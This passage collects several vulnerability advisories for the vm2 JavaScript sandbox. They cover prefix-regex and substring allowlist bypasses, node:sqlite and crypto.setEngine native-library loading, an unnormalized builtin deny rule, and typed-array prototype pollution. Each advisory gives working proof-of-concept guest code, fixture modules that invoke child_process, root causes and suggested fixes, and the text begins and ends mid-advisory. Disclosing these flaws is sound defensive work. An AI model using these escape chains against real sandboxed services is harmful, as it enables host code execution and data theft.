host privileges; also process.env/.pid disclosure.
Bypass Evidence Executed on node v22.23, vm2 3.11.6: - Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED - Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED - Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)
Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
Affected Versions <= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
Scope Note This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
Suggested Fix On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
--- Reported by zx (Jace) — GitHub: @manus-use
Summary
At source revision 91034466bfb7f56b95fd48083ec6ca36d058f164 of vm2 3.11.8, an untrusted NodeVM guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. LegacyResolver.customResolve stores the resolved path in this.externals as ^<path> without an end or separator boundary; a later absolute require of a sibling such as foo2/index.js therefore passes the external check and is loaded through hostRequire when the configured context is host. The decisive attack loaded foo as FOOOK and then executed the prefix-sharing sibling, which returned PREFIXPWN after invoking childprocess; an otherwise identical control denied the sibling with ENOTFOUND.
Technical Details
The affected configuration is a documented NodeVM use in which the embedder sets require.external to {modules: ['foo'], transitive: false}, supplies a custom resolver that returns the foo directory, sets a root directory, and uses context: 'host'. The guest controls the require specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary nodemodules lookup misses and the custom resolver is consulted.
The source-to-sink path is:
- NodeVM.run executes guest code and creates the module-specific require function at lib/nodevm.js:516-575. - DefaultResolver.resolveFull searches normal locations and then dispatches a miss to customResolve at lib/resolver.js:227-316. - LegacyResolver.customResolve checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at lib/resolver-compat.js:266-291. - isPathAllowedForModule falls back to this.externals.some(regex => regex.test(path)) at lib/resolver-compat.js:193-215. The dynamically appended expression ^/…/nodemodules/foo also matches /…/nodemodules/foo2/index.js because no path separator or end-of-string condition is required. - loadJS uses this.hostRequire(filename) for a host-context file and only wraps the returned exports with vm.readonly at lib/resolver-compat.js:255-263. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.
The relevant current code has the same flaw for both supported custom-resolver return shapes:
js if (typeof resolved === 'string') { this.externals.push(new RegExp('^' + escapeRegExp(resolved))); return this.loadAsFileOrDirectory(resolved, extList); } const {module=x, path: resolvedPath} = resolved; this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath))); return this.loadNodeModules(module, [resolvedPath], extList);
The existing anchored bare-specifier matcher and the separator-aware mod.path check address different authorization states. They do not constrain the new this.externals entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.
PoV
The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:
js const foo = require('foo'); module.exports = { foo, sibling: require('/tmp/vm2-prefix-case/nodemodules/foo2/index.js') };
The corresponding embedder configuration is:
js const vm = new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root: '/tmp/vm2-prefix-case', context: 'host', resolve(name) { return name === 'foo' ? '/tmp/vm2-prefix-case/nodemodules/foo' : undefined; } } });
The sibling is not itself allowlisted. Its successful load is the authorization violation; the childprocess call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.
PoC
From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:
sh git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164 npm ci --ignore-scripts
Save the following harness as /tmp/custom-resolve-prefix.js:
js 'use strict';
const path = require('path'); const { NodeVM } = require(process.cwd() + '/lib/main.js');
const [, , mode, fooIndexPath, siblingPath] = process.argv; const fooDir = path.dirname(fooIndexPath); const root = path.resolve(fooDir, '../..'); const entry = path.join(path.dirname(root), 'entry.js'); let customCalls = 0;
function runGuest(code) { return new NodeVM({ require: { external: {modules: ['foo'], transitive: false}, root, context: 'host', resolve(moduleName) { if (moduleName === 'foo') { customCalls++; return fooDir; } return undefined; } } }).run(code, entry); }
const record = {mode, result: 'invalid'};
try { if (mode === 'candidate') { const output = runGuest( const foo = require('foo'); module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})}; ); record.output = output; if (output && output.foo === 'FOOOK' && output.sibling === 'PREFIXPWN') { record.result = 'violation'; record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIXPWN'; } else { record.result = 'pass'; } } else if (mode === 'control') { try { runGuest(module.exports = require(${JSON.stringify(siblingPath)});); record.result = 'violation'; record.signal = 'prefix-sharing sibling loaded before custom resolution'; } catch (error) { record.result = 'pass'; record.denial = String(error && (error.code || error.message) || error); } } else { record.error = 'unknown mode'; } } catch (error) { record.result = 'invalid'; record.error = String(error && (error.stack || error.message) || error); }
record.customCalls = customCalls; console.log(JSON.stringify(record));
Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:
sh mkdir -p /tmp/vm2-prefix-case/nodemodules/foo /tmp/vm2-prefix-case/nodemodules/foo2 cat > /tmp/vm2-prefix-case/nodemodules/foo/index.js <<'EOF' 'use strict'; module.exports = 'FOOOK'; EOF cat > /tmp/vm2-prefix-case/nodemodules/foo2/index.js <<'EOF' 'use strict'; module.exports = require('childprocess').execFileSync( process.execPath, ['-e', "process.stdout.write('PREFIXPWN')"] ).toString(); EOF
Run the attack and then the negative control from the repository checkout:
sh node /tmp/custom-resolve-prefix.js candidate \ /tmp/vm2-prefix-case/nodemodules/foo/index.js \ /tmp/vm2-prefix-case/nodemodules/foo2/index.js node /tmp/custom-resolve-prefix.js control \ /tmp/vm2-prefix-case/nodemodules/foo/index.js \ /tmp/vm2-prefix-case/nodemodules/foo2/index.js
The decisive results were:
text {"mode":"candidate","result":"violation","output":{"foo":"FOOOK","sibling":"PREFIXPWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIXPWN","customCalls":1} {"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}
Both executions completed successfully with return code 0 in an offline node:bookworm runtime. The attack reached LegacyResolver.customResolve once, while the control reached it zero times. The foo2 fixture can use childprocess only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.
Impact
This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a NodeVM with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlisted, despite transitive: false. The demonstrated sibling executes childprocess at top level and returns a host-generated marker, showing host code execution rather than a guest-only exception or denial of service. The exploit requires the application to use this custom-resolver/host-context configuration and for a readable prefix-sharing file to exist; the tested claim is limited to that deployment shape and does not assert that every vm2 installation is affected. This is CWE-863 (Incorrect Authorization), with CVSS 3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H: after the stated deployment preconditions, the guest needs only low-complexity module requests, no additional host privilege or user interaction, and the impact crosses into host confidentiality, integrity, and availability.
Suggested Fix
Make every custom-resolver-derived authorization entry path-boundary aware. The smallest correction is to require either the exact resolved path or a path separator followed by a descendant, for both the string result and the {path: resolvedPath} result:
js const externalPath = value => new RegExp( '^' + escapeRegExp(value) + '(?:[\\/].)?$' );
Use externalPath(resolved) at the string-return branch and externalPath(resolvedPath) at the object-return branch. A path-aware canonical comparison shared with isPathAllowedForModule is preferable if the resolver filesystem supports it, because it can consistently handle separators and normalization. The fix must not rely only on the bare-specifier matcher: the bypass occurs after that matcher has already accepted foo and after customResolve has appended a new regex.
Add regression coverage that configures external: {modules: ['foo'], transitive: false}, a custom resolver returning foo, and context: 'host'; it should require foo and then assert that the absolute foo2/index.js sibling is denied and cannot emit a host marker. Keep a negative-control case that requests the sibling without first resolving foo, and add positive cases for the exact resolved file and legitimate descendants. Exercise both custom-resolver return forms so neither this.externals.push branch can reintroduce the prefix authorization.
Affected Package/Versions
- Package: vm2 in the npm ecosystem. - Tested package version: 3.11.8, at source revision 91034466bfb7f56b95fd48083ec6ca36d058f164. - Affected version range tested: pinned-revision-91034466bfb7f56b95fd48083ec6ca36d058f164. - Current head: the pinned revision is vulnerable, as shown by the attack/control pair above. - Patched versions: none identified by the tested evidence. - Only the pinned revision was tested; no broader historical range or fixed revision or release is claimed.
Advisory History
The closest public match is GHSA-7q3f-wx44-378m, titled “External module allowlist uses a raw prefix test, so a prefix-sharing sibling package is treated as allowlisted.” That advisory concerns the mod.path.startsWith(path) logic in isPathAllowedForModule for a relative require from an allowlisted package. Its public fix is commit 6ac3916da84e060c403e407b6b6318fcc66b0e72, which adds a path-boundary check to isPathAllowedForModule while leaving the filename-side this.externals fallback unchanged. A related public resolver fix is commit ab4ee7d803e8c80155e9eb3672226bddbca4aa9c, which rejects .. traversal in allowlisted subpaths and explicitly leaves the filename-side this.externals matcher untouched. This finding has a separate fix surface: the current customResolve function appends new raw-prefix regular expressions to this.externals at both custom-resolver return branches, which those public fixes do not describe or patch.
GHSA-c48m-32m9-vx93, “vm2 Custom Module Resolver Can Bypass the External Package Allowlist by Loading a Colliding Host Package,” is the closest custom-resolver advisory. It fixes the specifier-side externalCache matcher and rejects .. segments before the custom resolver is consulted. This finding reaches a different, residual branch after successful custom resolution: customResolve appends a filename-side raw-prefix regular expression to this.externals, allowing a prefix-sharing absolute sibling. Neither GHSA-c48m nor GHSA-7q3f patches that branch. Repository issue, pull-request, and commit history contains no matching fix for it. No patched version is claimed because only the pinned revision was tested.
Summary
vm2 3.11.6 exposes Node.js's host node:sqlite module to NodeVM code when that builtin is allowed explicitly or through builtin: ['']. The module is wrapped as read-only, but callable methods retain host-process authority. A sandboxed plugin can construct an in-memory database with extension loading enabled and call DatabaseSync.loadExtension() on a native library bundled in the plugin directory.
SQLite loads the library into the Node.js host process and invokes its native extension entry point. This gives the untrusted plugin arbitrary native code execution outside the sandbox.
The exploit needs only the node:sqlite builtin and a compatible native library already present in the untrusted plugin package. It does not require fs, process, module, childprocess, workerthreads, vm, inspector, vm2 nesting, or an existing database file.
Details
The vulnerable boundary spans the builtin inventory, resolver, runtime loader, and generic read-only wrapper.
On current Node.js versions, the builtin inventory contains the literal name node:sqlite. vm2 admits that name when it is explicitly configured or when the wildcard allowlist is expanded:
js const BUILTINMODULES = module.builtinModules.filter(/ denylist checks /);
The resolver then treats every request beginning with node: as a core-module request, even if the complete request string is not an allowlist key:
js if (x.startsWith('node:') || this.builtins.has(x)) { return x; }
The sandbox runtime removes exactly one node: prefix and looks up the remainder in the configured builtin map:
js if (filename.startsWith('node:')) { id = filename.slice(5); return loadBuiltinModule(id); }
Consequently, the sandbox spelling below resolves to the configured map entry node:sqlite:
js require('node:node:sqlite')
The default builtin loader imports the real module in the host realm and exposes it through vm.readonly():
js builtins.set(key, vm => vm.readonly(hostRequire(key)));
Read-only wrapping prevents property assignment. It does not remove dangerous callable capabilities. Calls to DatabaseSync and loadExtension() are forwarded to the host implementation.
The complete exploit flow is:
text attacker supplies an untrusted plugin package containing JavaScript and a native library -> host runs the JavaScript in NodeVM with node:sqlite allowed -> plugin resolves the host module as node:node:sqlite -> plugin creates an in-memory DatabaseSync with allowExtension enabled -> plugin derives the bundled library path from its own dirname -> plugin calls database.loadExtension(libraryPath) -> vm2 forwards the call to host SQLite -> SQLite loads the library into the Node.js host process -> SQLite invokes the library's native extension entry point -> attacker native code executes with the host process's privileges
The path does not need to be read through a sandboxed filesystem API. CommonJS already supplies the plugin's own directory, so an attacker can concatenate dirname with the known name of a bundled library. The host necessarily places the untrusted plugin package on disk before evaluating its JavaScript.
PoC
The attached PoC is local and harmless. Its native extension entry point writes one marker file and returns success. It does not launch a process, connect to a network service, or modify any other file.
Prerequisites: macOS, Node.js with node:sqlite, npm, and a C compiler.
1. Open the attached poc directory. 2. Install the exact affected package:
bash npm install --ignore-scripts
3. Compile and run the proof:
bash npm run poc
The script compiles extensionprobe.c as libvm2sqliteprobe.dylib, then runs untrusted-plugin.js in this restrictive configuration:
js new NodeVM({ console: 'off', require: { builtin: ['node:sqlite'] }, });
The sandboxed plugin performs only:
js const { DatabaseSync } = require('node:node:sqlite'); const database = new DatabaseSync(':memory:', { allowExtension: true }); database.loadExtension(dirname + '/libvm2sqliteprobe.dylib'); database.close();
A vulnerable result is:
json { "sandboxResult": { "nativeExtensionLoaded": true, "usedOnlySQLiteBuiltin": true }, "markerExists": true, "markerText": "VM2SQLITEEXTENSIONENTRYPOINTEXECUTED" }
The marker is written from the compiled native extension entry point, not from JavaScript. loadExtension() also returns successfully, proving that SQLite both loaded the library and invoked its entry point.
Impact
This is a sandbox escape to arbitrary native code execution. The native code runs inside the Node.js host process with the operating-system identity and privileges of that process, beyond all vm2 JavaScript, module, and proxy restrictions.
An attacker can replace the marker-only extension with native code that:
- reads application secrets, credentials, environment variables, and files available to the host account; - modifies application data or executable files and establishes persistence; - accesses internal services using the host's network identity; - steals other tenants' data from the same process; - terminates or corrupts the host process; and - performs any other operating-system action permitted to the host account.
The realistic affected workflow is a plugin platform, automation service, notebook, build service, or multi-tenant code runner that stores attacker-supplied package contents and evaluates the package's JavaScript in NodeVM while allowing node:sqlite or all builtins. The attacker does not need pre-existing host execution, a writable database, or a command-execution builtin.
Summary
vm2 3.11.6 exposes the host crypto module to a NodeVM when that single builtin is allowed. The module is presented through a read-only bridge, but its functions still execute with host-process authority. crypto.setEngine() accepts a filesystem path and asks OpenSSL to dynamically load the referenced native library.
An attacker whose untrusted plugin package contains a native library can therefore load that library into the host process by calling crypto.setEngine() from sandboxed JavaScript. The native library's constructor executes before OpenSSL finishes validating whether the file is a usable engine. Consequently, even the expected ERRCRYPTOENGINEUNKNOWN exception occurs only after arbitrary native code has already run.
The exploit requires only the crypto builtin. It does not require fs, process, module, childprocess, workerthreads, vm, inspector, unrestricted builtins, or vm2 nesting.
Details
The vulnerable boundary is the generic builtin loader. Builtins that are not specially wrapped or classified as dangerous are imported in the host realm and exposed through a recursive read-only proxy:
js builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));
Read-only prevents sandbox code from assigning properties on the module object. It does not reduce the authority of callable exports. Calls are forwarded to the original host function with bridge values converted back to host values.
The crypto module includes this callable export:
js crypto.setEngine(enginePath)
When enginePath names a dynamic library, OpenSSL loads that file into the current process. Operating-system dynamic loaders execute library constructors as part of loading. Engine-symbol validation happens afterward. A file does not have to become a functional cryptographic engine for its constructor to execute.
The resulting exploit flow is:
text attacker supplies an untrusted plugin package containing a native library -> host executes the plugin in NodeVM with only crypto allowed -> plugin calls crypto.setEngine(pathToBundledLibrary) -> vm2 forwards the call to the host crypto module -> OpenSSL asks the operating-system loader to load the library -> the library constructor executes native code in the host process -> OpenSSL may then reject the file, but host compromise has already occurred
This is different from merely granting JavaScript filesystem access. A plugin system commonly has to place an untrusted package on disk before running its JavaScript. The native file can therefore already exist inside that package even when the sandbox denies fs and all process-execution builtins. Allowing crypto for hashing or signature verification unexpectedly turns that inert package file into a native-code execution primitive.
PoC
The attached PoC is local and harmless. Its native library constructor creates a marker file; it does not spawn a process, open a network connection, or modify any other file.
1. Install Node.js with OpenSSL engine support, a C compiler, and npm. 2. In the attached poc directory, install the exact affected package:
bash npm install --ignore-scripts
3. Build the marker library.
On macOS:
bash cc -dynamiclib -O2 -o probe-engine.dylib engineprobe.c node poc.js ./probe-engine.dylib
On Linux:
bash cc -shared -fPIC -O2 -o probe-engine.so engineprobe.c node poc.js ./probe-engine.so
4. A vulnerable result contains all of the following:
- the sandbox configuration lists only crypto as an allowed builtin; - crypto.setEngine() reports ERRCRYPTOENGINEUNKNOWN or returns; - vm2-setengine-native-marker.txt exists afterward; - the marker contains VM2SETENGINENATIVECODEEXECUTED.
The exception is not a negative result. The marker proves that the native constructor ran before engine validation failed.
Impact
This is a sandbox escape to arbitrary native code execution. The code runs with the operating-system identity and privileges of the Node.js host process, outside all vm2 language and module restrictions.
An attacker can replace the marker-only constructor with native code that:
- reads application secrets, environment variables, credentials, and files available to the host user; - modifies application data or executable files and establishes persistence; - accesses internal services using the host's network identity; - steals other tenants' data from the same process; - terminates or corrupts the host process; and - executes arbitrary operating-system actions permitted to the host account.
The realistic affected workflow is a plugin, automation, notebook, or multi-tenant code runner that stores attacker-supplied package contents on disk and runs the package's JavaScript in NodeVM while allowing crypto. The attacker does not need the sandbox to expose a file-write or command-execution module.
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
js new NodeVM({ require: { builtin: ['', '-node:childprocess'] } });
does not deny the canonical childprocess builtin. Sandboxed code can require both childprocess and node:childprocess, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
js new NodeVM({ require: { builtin: ['', '-node:childprocess'] } });
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:childprocess to deny require('node:childprocess') and require('childprocess').
Affected Files / Functions
- lib/builtin.js - makeBuiltinsFromLegacyOptions - wildcard builtin expansion - exact negative entry check: builtins.indexOf(\-${name}\) - addDefaultBuiltin - lib/resolver.js - Resolver.resolve - lib/setup-node-sandbox.js - requireImpl - node: prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(Cannot find module '${filename}', 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; }
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTINMODULES:
js if (builtins.indexOf(-${name}) === -1) { addDefaultBuiltin(res, name, hostRequire); }
BUILTINMODULES contains the canonical name childprocess, not node:childprocess. Therefore -node:childprocess does not exclude childprocess, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host childprocess builtin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
- require('childprocess') succeeds inside the sandbox. - require('node:childprocess') succeeds inside the sandbox. - The returned module exposes execSync and spawn as functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host childprocess module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
js 'use strict';
const { NodeVM } = require('./');
function probe(builtin) { const vm = new NodeVM({ require: { builtin } });
return vm.run( const out = {};
for (const spec of ['childprocess', 'node:childprocess']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } }
module.exports = out; ); }
console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['', '-node:childprocess']), denyCanonical: probe(['', '-childprocess']) }, null, 2));
Observed result:
json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "childprocess": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:childprocess": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "childprocess": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'childprocess'" }, "node:childprocess": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:childprocess'" } } }
Expected Secure Behavior
-node:childprocess and -childprocess should be equivalent.
If either spelling is denied, both of these should fail:
js require('childprocess') require('node:childprocess')
Suggested Fix
1. Canonicalize builtin names before allow/deny comparison: - Strip node: from user-provided builtin entries. - Preserve whether an entry is negative (-...) before canonicalizing. - Store and compare one canonical builtin key.
2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support node: spelling
3. Add regression tests: - builtin: ['', '-node:childprocess'] blocks childprocess. - builtin: ['', '-node:childprocess'] blocks node:childprocess. - builtin: ['', '-node:fs'] blocks fs and node:fs. - builtin: ['', '-node:fs/promises'] and -fs/promises behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with node: spelling.
Summary
vm2 is a sandbox library for isolating and executing untrusted JavaScript code inside a Node.js process. It can restrict access to built-in modules and external packages.
When NodeVM enables an external allowlist together with a custom resolve callback, vm2 checks the requested package name with a non-exact match. For example, if the allowlist only permits left-pad, an attacker can still bypass the check with a colliding package name such as evil-left-pad, because it contains the allowlisted name.
If the colliding package already exists in a host path resolvable by the custom resolver, or if the target application's custom resolver / dependency-management workflow downloads the package and places it in a resolvable path, vm2 loads and executes that package in the host context. This lets sandboxed code bypass the module allowlist and may further lead to host code execution.
Details
NodeVM supports require.external to configure which external npm packages sandboxed code may load. It also supports a custom resolver through require.resolve. This combination is commonly used in business plugin systems, user-script platforms, or sandbox execution environments: the application allows only a small set of trusted dependencies while using a custom resolver that points to the application's own package directory.
The vulnerability is in the allowlist pre-check logic before the custom resolver is called. vm2 generates a regular expression from the external allowlist and uses it to check the original package name supplied by sandboxed code. However, the regular expression is not anchored to the full package-name boundary, so it performs a substring match on the original package name.
For example, with the following configuration:
js new NodeVM({ require: { external: ['left-pad'], resolve: id => require.resolve(id, { paths: [customRoot] }), context: 'host', builtin: [] } })
The intended policy is that sandboxed code can only load left-pad. However, because vm2 uses a non-exact match similar to /left\-pad/ for the requested package name, names such as evil-left-pad and left-pad-backdoor also pass the allowlist pre-check.
After evil-left-pad passes the check, vm2 calls the custom resolver configured by the application. If the resolver can find that colliding package in a host-resolvable path, vm2 adds the returned path to the loadable list and, in context: 'host' mode, loads the package with the host require(). At that point, the package's top-level code executes in the host context instead of being constrained by sandbox restrictions such as NodeVM's builtin: [].
In local verification, the PoC only allows external: ['left-pad'] and sets builtin: [], so sandboxed code cannot directly load childprocess. However, after the sandboxed code executes require('evil-left-pad'), vm2 still loads the colliding package from a host path. The colliding package's top-level code successfully invokes the host childprocess module and prints HOSTEXEC.
This issue does not mean that vm2 automatically downloads malicious packages from npm at runtime. The attack requires the colliding package to already be in a path resolvable by the custom resolver, or for the target application's own dependency resolution / download workflow to place that package in such a path. This precondition limits the affected scenarios, but it does not change the core vulnerability: the external allowlist is not enforced against complete package-name boundaries, allowing sandboxed code to load a host package that the application did not authorize.
PoC
An independent PoC is attached in the poc directory. The PoC installs vm2 3.11.5, creates a temporary host package directory, and writes an unauthorized evil-left-pad package into it.
Run the following from the poc directory:
bash npm install node poc.js
When the vulnerability is present, the output is similar to:
text [+] vm2 version: 3.11.5 [+] customRoot: /tmp/vm2-resolver-poc-xxxxxx/custom [+] Direct sandbox require("childprocess") is blocked: ENOTFOUND [+] Unrelated package is blocked: ENOTFOUND [+] require("evil-left-pad") result: HOSTEXEC [+] RESULT: VULNERABLE
HOSTEXEC is produced by the top-level code of the evil-left-pad package through host-side childprocess.execFileSync(), demonstrating that the unauthorized package has executed in the host context.
Expected result: when the external allowlist only contains left-pad, evil-left-pad should be rejected.
Actual result: evil-left-pad passes the check because it contains the left-pad substring and then executes in the host context.
Impact
Under the affected configuration, an attacker can load a colliding host package that is not allowed by the external allowlist through sandboxed code, breaking NodeVM's module access control.
If the attacker can control or influence the contents of the colliding package, for example by placing a malicious package through a plugin upload directory, a user-controllable dependency directory, a private registry synchronization directory, an application-specific dependency download workflow, or another path reachable by the resolver, the attacker can further execute code in the host Node.js process context. The attacker may read files, environment variables, and secrets accessible to the host process, modify host-writable data, or interrupt the host service.
The main exploitation prerequisites are:
- The application uses vm2 NodeVM to execute untrusted or low-trust JavaScript code. - The application enables a require.external allowlist instead of allowing all external packages. - The application configures a custom require.resolve. - The colliding package already exists in a path resolvable by that custom resolver, or the application's workflow downloads / synchronizes it into that path. - The application loads external packages in the host context, or keeps the relevant default behavior.
If the deployed custom resolver only searches a fixed dependency directory that is fully trusted and cannot be influenced by an attacker, practical exploitability is reduced. However, in scenarios such as plugin systems, user scripts, uploadable dependency packages, private package-source synchronization, or multi-tenant sandbox platforms, this vulnerability can bypass the sandbox boundary.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab (xlabai@tencent.com) - Atuin Automated Vulnerability Discovery Engine - Guannan Wang (wgnbuaa@gmail.com), Zhanpeng Liu (pkugenuine@gmail.com), Jiashuo Liang (761232680@qq.com), Guancheng Li (lgcpku@gmail.com)
Summary
vm2's current host-intrinsic prototype protection is incomplete. The fix for GHSA-vwrp-x96c-mhwq blocks sandbox writes into classic host intrinsics such as Object.prototype, Array.prototype, and Function.prototype, but current head still lets sandbox code in a default VM reach and mutate host Uint8Array.prototype, %TypedArray%.prototype, and ArrayBuffer.prototype.
After VM.run() returns, normal host typed-array and ArrayBuffer objects observe attacker-controlled properties and methods installed by the sandbox.
Technical Details
The existing mitigation relies on protectedHostObjects in lib/bridge.js. That set is populated from otherGlobalPrototypes, which is built from a fixed inventory of classic globals:
js const globalsList = [ 'Number', 'String', 'Boolean', 'Date', 'RegExp', 'Map', 'WeakMap', 'Set', 'WeakSet', 'Promise', 'Function' ];
The inventory omits typed-array and ArrayBuffer intrinsics. Sandbox code can still reuse the host-prototype walking primitive from the prior public advisory:
js const lookupGetter = ({}).lookupGetter; const apply = Buffer.apply; const protoGetter = apply.apply(lookupGetter, [Buffer, ['proto']]); const hostBuffer = Buffer.from([1]);
const hostBufferPrototype = protoGetter.call(hostBuffer); const hostUint8ArrayPrototype = protoGetter.call(hostBufferPrototype); const hostTypedArrayPrototype = protoGetter.call(hostUint8ArrayPrototype); const hostArrayBufferPrototype = protoGetter.call(hostBuffer.buffer);
Those objects are not sandbox-local. Inside the sandbox, hostUint8ArrayPrototype === Uint8Array.prototype, hostTypedArrayPrototype === Object.getPrototypeOf(Uint8Array.prototype), and hostArrayBufferPrototype === ArrayBuffer.prototype are all false. Because the objects are not in protectedHostObjects, bridge defineProperty writes are forwarded into the real host objects.
This is the same guard-coverage boundary as the previous host-intrinsic prototype pollution fix, but with a missing intrinsic family. The bridge already has the correct enforcement shape; the protected inventory is too narrow.
PoC
PoV: poc/pov-host-typedarray-arraybuffer-prototype-pollution.js
Current-head output:
json { "status": "completed", "vulnerable": true, "node": "v25.8.0", "v8": "14.1.146.11-node.20", "control": { "defineResult": true, "sandboxReadsBack": "sandbox-only", "hostControlAfter": null }, "exploit": { "hostUint8IsSandboxUint8": false, "hostTypedArrayIsSandboxTypedArray": false, "hostArrayBufferIsSandboxArrayBuffer": false, "defineUint8": true, "defineTypedArray": true, "defineArrayBuffer": true, "defineMethod": true }, "hostEffect": { "uint8Marker": "polluted-host-uint8array-prototype", "typedArrayMarker": "polluted-host-typedarray-prototype", "arrayBufferMarker": "polluted-host-arraybuffer-prototype", "methodReturn": "sandbox-method-reached-host-uint8array" } }
The control proves sandbox-local Uint8Array.prototype writes remain sandbox-local. The exploit path reaches host prototypes through the bridge and causes host-created objects to observe sandbox-installed properties after VM.run() returns.
Impact
This is a sandbox boundary violation and host intrinsic prototype pollution. An attacker who can run JavaScript in a default vm2 VM can mutate shared host typed-array and ArrayBuffer behavior without NodeVM, require, wildcard builtins, nesting: true, or any host-provided typed-array object.
The supplied PoV demonstrates integrity and availability impact by installing markers and a method on host prototypes:
- Uint8Array.prototype - %TypedArray%.prototype, which affects typed-array families through the shared typed-array prototype chain - ArrayBuffer.prototype
The PoV does not claim direct host command execution or direct confidentiality impact. It is local-only and restores touched descriptors before exit.
Suggested Fix
Extend the protected host-object inventory and identity/prototype mappings to typed-array and binary-data intrinsics, including at least:
- %TypedArray%.prototype - ArrayBuffer.prototype - SharedArrayBuffer.prototype when present - DataView.prototype - all concrete typed-array prototypes present in the runtime, including Uint8Array.prototype, Uint8ClampedArray.prototype, Int8Array.prototype, Uint16Array.prototype, Int16Array.prototype, Uint32Array.prototype, Int32Array.prototype, Float16Array.prototype when present, Float32Array.prototype, Float64Array.prototype, BigInt64Array.prototype, and BigUint64Array.prototype
A temporary patched-control that added this intrinsic family to thisGlobalPrototypes caused the same PoV's Reflect.defineProperty() calls to throw VMError: Operation not allowed on contextified object, and no host markers were installed.
The fix should cover the same host mutation traps used by the existing host-intrinsic protection: set, defineProperty, deleteProperty, and preventExtensions. It should not special-case Buffer; Buffer is only one way to reach the omitted host prototypes.
Affected Package/Versions
Confirmed on current head 7a1f5100b96f48d34e0fe104ab37c0acc5944f92 / v3.11.5 with Node v25.8.0 / V8 14.1.146.11-node.20.
Confirmed affected after the prior patch: npm:vm2 >= 3.11.0, <= 3.11.5.
Local sweep also reproduces on v3.10.0 through v3.10.5, but that range overlaps the already-published GHSA-vwrp-x96c-mhwq range. v3.9.0 through v3.9.2 did not produce host-visible pollution in the same local test.
Why This Is Not Intended Behavior
vm2 documents VM as a sandbox for untrusted code without require, with only JavaScript built-ins and Node's Buffer available by default. The known escape hatches do not explain this issue:
